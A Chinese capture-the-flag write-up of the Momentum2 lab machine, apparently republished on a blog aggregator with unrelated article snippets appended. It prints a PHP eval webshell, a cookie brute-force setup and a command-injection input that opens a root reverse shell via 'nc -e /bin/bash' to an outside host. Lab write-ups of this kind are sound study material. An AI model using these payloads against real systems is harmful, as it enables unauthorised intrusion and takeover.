Momentum靶机系列Momentum2

先进行arp扫描:

获得渗透靶机的IP:192.168.13.142

扫描一下靶机的使用的端口:

具有tcp端口和http服务的80端口

可以扫描一下80端口的http服务:

可以发现一个网站:http://192.168.13.142

打开该网址:

查看一下源代码:

没有什么可以看的东西

那就尝试一下进行网站域名的扫描:


可以看到:

[18:20:09] 200 -    0B  - /ajax.php                                        

[18:20:13] 200 -  513B  - /dashboard.html                                     

[18:20:16] 200 -    1KB - /index.html                                      

[18:20:16] 200 -  930B  - /js/                                             

[18:20:18] 200 -  626B  - /manual/index.html 

这几个存在内容:

尝试查看js的域名:

js下存在一串js代码(进行解释):

function uploadFile() {

//获得文件:

var files = document.getElementById("file").files;

if(files.length > 0 ){

    //用于创建表单数据对象

   var formData = new FormData();

   formData.append("file", files[0]);

   //formData.append() 是 FormData 对象提供的方法,用于向表单数据对象中添加字段和值

   var xhttp = new XMLHttpRequest();

   //XMLHttpRequest 对象提供了在客户端通过 HTTP 协议与服务器进行交互的功能

   // Set POST method and ajax file path

   xhttp.open("POST", "ajax.php", true);

   //使用 open() 方法设置请求的类型为 POST,URL 为 "ajax.php",并指定使用异步方式发送请求(第三个参数为 true)

   //异步方式意味着 JavaScript 在发送请求后会立即继续执行后续的代码,而不必等待服务器响应

   // call on request changes state

   xhttp.onreadystatechange = function() {

      if (this.readyState == 4 && this.status == 200) {

        var response = this.responseText;

        if(response == 1){

           alert("Upload successfully.");

        }else{

           alert("File not uploaded.");

        }

      }

   };

   // Send request with data

   xhttp.send(formData);

}else{

   alert("Please select a file");

}

}

简单来说就是,存在文件上传,上传的文件会添加到表单文件中 而且要想上传文件后就需要进行这串代码的过滤

xhttp.onreadystatechange = function() {

      if (this.readyState == 4 && this.status == 200) {

        var response = this.responseText;

        if(response == 1){

           alert("Upload successfully.");

        }else{

           alert("File not uploaded.");

        }

      }

   }

当http请求返回为1时可以上传文件,这样就可以上传一个木马来获得权限

其中http请求来自ajax.php的请求,那么就存在ajax.php和文件上传点:

找到文件上传点:

/dashboard.html

可以尝试上传一个php试试看:

不能上传

那就可以看一下ajax.php的内容:


没有东西,尴尬了

看来是没有显示,查看资料后获得,存在备份文件:

http://192.168.13.142/ajax.php.bak

获得备份文件:

打开看看:

获得文件内容:


 

//The boss told me to add one more Upper Case letter at the end of the cookie

//老板让我在饼干的末尾再添加一个大写字母

if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){

       //[+] Add if $_POST['secure'] == 'val1d'

        $valid_ext = array("pdf","php","txt");

   }

   else{

        $valid_ext = array("txt");

   }

   // Remember success upload returns 1

   //记住成功上传返回 1

可以看到需要一个cookie :名为admin 值为:&G6u@B6uDXMq&Ms+大写字母

然后还需要获得一个post传参的secure其值为valu1d

可以尝试获得一个爆破的密码本:

使用 crunch来自己创建一个密码本:

 crunch 11 -t ,>>pass.txt


 


现在就可以抓住文件上传的网页:

上传上我们需要的条件:

将其发送到爆破:在cookie的地方添加一个爆破点:

Cookie: admin=%26G6u%40B6uDXMq%26Ms§A§

添加爆破字典,然后开始爆破:

文件包的大小差不多需要一个一个的看:

看到反应包R的返回了1,所以,当为R是就可以上传一个php文件:

将这个包返回:

php文件内容为一句话木马:
<?php  @eval($_POST['cmd']); ?>
上传成功:


在owls下存在我们上传的文件:

打开蚁剑:

进行连接

连接成功:
开启一个终端进行监听:

然后进行shell交互:

 python -c "import pty;pty.spawn('/bin/bash')"

交互成功:查看权限:

不是root的用户:
找到home下有一个用户而且还有用户的密码:


可以看到用户:athena和密码:myvulnerableapp[Asterisk]

因为还有ssh的没有使用,尝试登录:ssh

what?密码错了吗?
查看别人的资料发现:
密码后面的[Asterisk]而是一个*

再次尝试一下:

登陆上去了

查看一下当前用户具有的权限sudo -l

发现:/usr/bin/python3 /home/team-tasks/cookie-gen.py这个py脚本具有root脚本:

cat一下这个脚本:
 

import random

import os

import subprocess

print('~ Random Cookie Generation ~')

print('[!] for security reasons we keep logs about cookie seeds.')

chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")

random.seed = seed

cookie = ''

for c in range(20):

    cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt" % seed

subprocess.Popen(cmd, shell=True)

分析一下:
 

import random

import os

import subprocess

print('~ Random Cookie Generation ~')

print('[!] for security reasons we keep logs about cookie seeds.')

chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")

#输入一个那种子(就是一串字符)

random.seed = seed

#没什么用

cookie = ''

for c in range(20):

    cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt " % seed

#将seed的结果输入到log.txt中

subprocess.Popen(cmd, shell=True)#然后将cmd中的命令当作shell脚本执行

 

所以只需要上传一个监听代码就可以进行对靶机的监听,而且还获得了root权限:所以运行该脚本,并输入;nc -e /bin/bash 192.168.13.138 6666

开启一个新的终端:

监听成功:进行交互,交互成功后获得root权限
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/8016.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Flink 部署模式

目录 概述 部署模式 会话模式&#xff08;Session Mode&#xff09; 单作业模式(Per-Job Mode) 应用模式(Application Mode) 运行模式&#xff08;资源管理模式&#xff09; Standalone运行模式 会话模式部署 应用模式部署 Yarn运行模式 会话模式部署 单作业模式部…

鸿蒙开发核心技术都有哪些【都是从零开始】

鸿蒙开发核心技术都有哪些&#xff1f;&#xff1a;【持续1年的时间公关鸿蒙技术】 我们能做哪些呢&#xff1f; 还是从UI业务开始吧 面试题1&#xff1a; 基于STAGE模型项目重构等问题 代理设计模式&#xff0c;业务与架构隔离 中介者模式&#xff0c;和代理设计模式的区别…

在 Vue3 中使用 styled-components

前言 随着组件化时代的兴起&#xff0c;前端应用开始采用组件级别的 CSS 封装&#xff1a;通过 JavaScript 声明和抽象样式&#xff0c;以提高组件的可维护性。在组件加载时动态加载样式&#xff0c;并动态生成类名&#xff0c;从而避免全局污染。 styled-components 是其中的…

湖仓一体 - Apache Arrow的那些事

湖仓一体 - Apache Arrow的那些事 Arrow是高性能列式内存格式标准。它的优势&#xff1a;高效计算&#xff1a;所有列存的通用优势&#xff0c;CPU缓存友好、SIMD向量化计算友好等&#xff1b;零序列化/反序列化&#xff1a;arrow的任何数据结构都是一段连续的内存&#xff0c;…

uniapp使用iconfont

1、把这两个文件在项目的静态资源目录下 2、修改iconfont.css文件 3、最后在app.vue中引入

软件测试—— 接口测试之通讯流程相关概念

通讯流程 1、协议 通讯规则 2、HTTP协议 协议的一种 3、接口规范文档 如何发请求的要求文档&#xff0c;获取什么响应内容的说明文档&#xff08;相当于菜单&#xff09;

Boost.Preprocessor库

Boost.Preprocessor库是Boost C库的一部分&#xff0c;提供了一组扩展的预处理器元编程功能。这个库的主要目的是帮助开发者使用预处理器进行元编程&#xff0c;以及提供一组工具来操纵预处理阶段的文本。 预处理器在C编译过程中的角色主要是处理源代码文件中的预处理指令&…

AI换脸免费软件Rope中文汉化蓝宝石版本全新UI界面,修复部分已知错误【附下载地址与详细使用教程】

rope蓝宝石版&#xff1a;点击下载 注意&#xff1a;此版本支持N卡、A卡、CPU&#xff0c;且建议使用中高端显卡&#xff0c;系统要求win10及以上。 Rope-蓝宝石 更新内容&#xff1a; 0214版更新&#xff1a; ①&#xff08;已修复&#xff09;恢复到以前的模型荷载参数。有…

IEEE 754浮点数十六进制相互转换 (32位 四字节 单精度)

IEEE 754浮点数十六进制相互转换 &#xff08;32位 四字节 单精度&#xff09; 常用方法 1. 使用联合体&#xff08;Union&#xff09; 通过定义一个联合体&#xff0c;其中包含一个float类型和一个unsigned char类型的数组&#xff0c;可以实现四个字节到浮点数的转换。 #…

课时118:awk实践_基础实践_基础语法

1.1.2 基础语法 学习目标 这一节&#xff0c;我们从 信息查看、定制查看、小结 三个方面来学习 信息查看 字段提取 字段提取:提取一个文本中的一列数据并打印输出&#xff0c;它提供了相关的内置变量。$0 表示整行文本$1 表示文本行中的第一个数据字段$2 表示文本行中的第…

Python中GDAL批量将多个遥感影像各波段数值缩小10000倍的方法

本文介绍基于Python中的gdal模块&#xff0c;批量读取大量多波段遥感影像文件&#xff0c;分别对各波段数据加以数值处理&#xff0c;并将所得处理后数据保存为新的遥感影像文件的方法。 首先&#xff0c;看一下本文的具体需求。我们现有一个文件夹&#xff0c;其中含有大量.ti…

OceanBase 如何实现多层面的资源隔离

OceanBase的资源隔离涵盖了多个方面&#xff0c;如物理机器间的隔离、不同租户之间的隔离、同一租户内的隔离&#xff0c;以及针对大型查询请求的隔离等。在实际应用OceanBase的过程中&#xff0c;我们经常会遇到这些操作场景或产生相关需求。这篇文章针对这些内容进行了简要的…

代码随想录leetcode200题之栈与队列

目录 1 介绍2 训练3 参考 1 介绍 本博客用来记录代码随想录leetcode200题中栈与队列部分的题目。 2 训练 题目1&#xff1a;232. 用栈实现队列 C代码如下&#xff0c; #include <stack>class MyQueue { private:stack<int> a;stack<int> b; //辅助栈 pu…

软件测试--接口测试

接口测试&#xff1a;直接对后端服务的测试&#xff0c;是服务端性能测试的基础 接口&#xff1a;系统之间数据交互的通道 接口测试&#xff1a;校验接口响应数据与预期数据是否一致

docker私有仓库部署与管理

一、搭建本地公有仓库 1.1 首先下载registry镜像 docker pull registry 1.2 在daemon.json文件中添加私有镜像仓库地址并重新启动docker服务 vim /etc/docker/daemon.json 1.3 运行registry容器 docker run -itd -v /data/registry:/var/lib/registry -p 5000:5000 --restartal…

Rust 文档注释:文件注释//!和函数、结构体注释///

在 Rust 中&#xff0c;通常会在源代码文件的开头使用注释来提供有关文件、模块、版本、作者和其他相关信息的说明。这些信息可以帮助其他开发者更好地理解代码的背景和上下文。 以下是一个示例&#xff0c;展示了如何在 Rust 源代码文件的开头添加标题、版本、作者等信息&…

为什么叫“机器学习”Machine Learning 而不是“计算机学习”——深度学习Note

有一门学科“机器学习”火了起来&#xff0c;它是计算机科学与数学结合的产物&#xff0c;它的目的是使计算机“聪明”起来&#xff0c;实现人工智能。可是&#xff0c;令人困惑的是它明明就是计算机学习&#xff0c;为什么不叫“计算机学习”而叫“机器学习”呢&#xff1f;这…

04_SpringCloud

文章目录 单体架构与微服务架构的介绍单体架构微服务架构 微服务的实现服务之间的调用服务注册中心Eureka 注册中心Eureka的自我保护机制Nacos注册中心 单体架构与微服务架构的介绍 单体架构 单体架构 所有的代码最终打包成一个文件(jar包)&#xff0c;整个系统的所有功能单元…

(三十六)第 6 章 树和二叉树(二叉树的顺序存储表示实现)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ?…

[Kubernetes] Rancher 2.7.5 部署 k8s

server: 192.168.66.100 master: 192.168.66.101 node1: 192.168.66.102 文章目录 1.rancher server 安装docker2.部署k8s3.kubeconfig 1.rancher server 安装docker 所有主机开通ipv4 vi /etc/sysctl.conf#加入 net.ipv4.ip_forward 1#配置生效 sysctl -prancher-server开通…